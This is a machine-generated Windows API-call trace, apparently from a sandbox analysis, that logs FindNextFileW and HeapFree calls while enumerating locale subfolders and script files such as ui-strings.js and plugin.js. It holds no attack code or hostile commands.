	[0168.671] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0168.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.671] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0168.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.671] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0168.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.672] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0168.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.672] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0168.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.672] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0168.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.672] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0168.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.673] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0168.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.674] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0168.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.674] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0168.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.674] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0168.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.674] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0168.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.674] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0168.675] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0168.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0168.675] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0168.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.675] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0168.675] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0168.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0168.675] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0168.675] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0168.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.676] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0168.676] FindClose (in: hFindFile=0x394ba38 | out: hFindFile=0x394ba38) returned 1
	[0168.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0168.678] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1
	[0168.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.680] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0168.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0168.684] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0168.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0168.684] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0168.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0168.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0168.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.684] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0168.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.686] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0168.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.687] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0168.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.688] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0168.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.689] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0168.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.690] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0168.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.691] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0168.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.691] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0168.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.692] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0168.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.694] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0168.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.695] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0168.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.695] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0168.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.697] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0168.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.699] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0168.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
